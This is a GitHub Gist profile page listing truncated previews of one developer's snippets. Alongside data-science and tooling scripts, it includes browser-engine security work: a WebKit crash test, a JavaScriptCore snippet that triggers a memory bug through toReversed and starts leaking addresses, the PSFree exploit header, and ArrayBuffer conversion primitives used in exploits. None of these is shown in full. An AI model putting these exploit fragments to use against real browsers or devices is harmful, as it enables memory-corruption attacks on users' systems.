Skip to content

Instantly share code, notes, and snippets.

View ntfargo's full-sized avatar
🫥

Nathan Fargo ntfargo

🫥
View GitHub Profile
@ntfargo
ntfargo / c_sddp.py
Created August 12, 2025 12:51
Causal supervised deep dynamic pca.
import numpy as np
def intervene(data, causal_graph, node_idx):
# Dummy causal intervention: robust to 1D segments where parent indices don't align
if causal_graph is None:
return data
parents = np.where(causal_graph[:, node_idx])[0]
# If data is a 1D time segment for a single node, parents can't index into it.
if data.ndim == 1:
if parents.size == 0 or data.size == 0:
@ntfargo
ntfargo / prompt_enhancer_nodes-fix.py
Last active July 23, 2025 18:18
LTXVPromptEnhancer Issue Fix
@comfy_node(name="LTXVPromptEnhancer")
class LTXVPromptEnhancer:
@classmethod
def INPUT_TYPES(s):
return {
"required": {
"prompt": ("STRING",),
"prompt_enhancer": ("LTXV_PROMPT_ENHANCER",),
"max_resulting_tokens": (
"INT",
@ntfargo
ntfargo / lamed.py
Last active May 8, 2025 19:38
Leveraging (LLMs) via Ollama (codestral:22b), it generates annotations for memory allocation and deallocation, which are used by CodeQL for static analysis.
"""
LLM-based Memory Leak Detection for C/C++ Codebases
Prototype code for automating memory leak detection in C/C++ codebases. Leveraging large language models (LLMs) via Ollama (codestral:22b), it generates annotations for memory allocation and deallocation, which are used by CodeQL for static analysis.
This is a sample implementation and may require adjustments based on specific requirements.
"""
import clang.cindex
import ollama
import json
import os
<!DOCTYPE html>
<p>PASS if no crash.</p>
<script>
let testNumber = 0;
function compareArray(expected, actual) {
if (!expected && !actual) return true;
if (!expected || !actual) return false;
if (expected.length !== actual.length) return false;
<!DOCTYPE html>
<html>
<head>
<title>Bug-279780</title>
<!--
The commit 135cab6161b31a3e700108733c3837a3b21f7f05 (and bug report https://bugs.webkit.org/show_bug.cgi?id=279780)
that we are investigating provides a crucial clue.
The commit message highlights a problem with "case-insensitive disjunction" in regular
expressions and mentions that "Certain ASCII characters can introduce Unicode characters
(and vice versa) when we add all case variations in a case insensitive regex."
@ntfargo
ntfargo / codebase-dumper.py
Last active February 16, 2025 16:31
A dumper script that recursively dumps a folder's structure and file contents into a single output file—with an estimated token count summary—perfect for preparing data for LLMs and other text-processing tasks.
#!/usr/bin/env python3
"""
A folder scanning tool that writes a directory tree and the contents
of each file (found recursively) into an output file. Only one command-line argument,
the folder path, is required.
The output file is automatically named after the folder with the suffix "-dump.txt".
Options:
--include-hidden : Include hidden files/folders (those starting with a dot).
// 1 triggers the vulnerability:
const v1 = [-1n]; // create a JSArray
let v2;
v2 = v1.toReversed();// call arrayProtoFuncToReversed
print(describe(v2));
sleepSeconds(5); // pause execution
print(v2[2].print()); // access randomly a field of v2[2]
// 2 Leaking addresses
function gc() {
sub createForwardingHeadersForFramework {
my $targetDirectory = File::Spec->catfile($outputDirectory, $framework);
mkpath($targetDirectory);
foreach my $header (@frameworkHeaders) {
my $headerName = basename($header);
# Find all headers with the same name
my @headers = grep($_ =~ "/$headerName\$", @frameworkHeaders);
if (@headers > 1) {
@ntfargo
ntfargo / bug-c9880de.js
Last active May 26, 2025 22:09
thanks to abc
/* Copyright (C) 2024 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
function pair_u32_to_f64(l, h) {
u32[0] = l;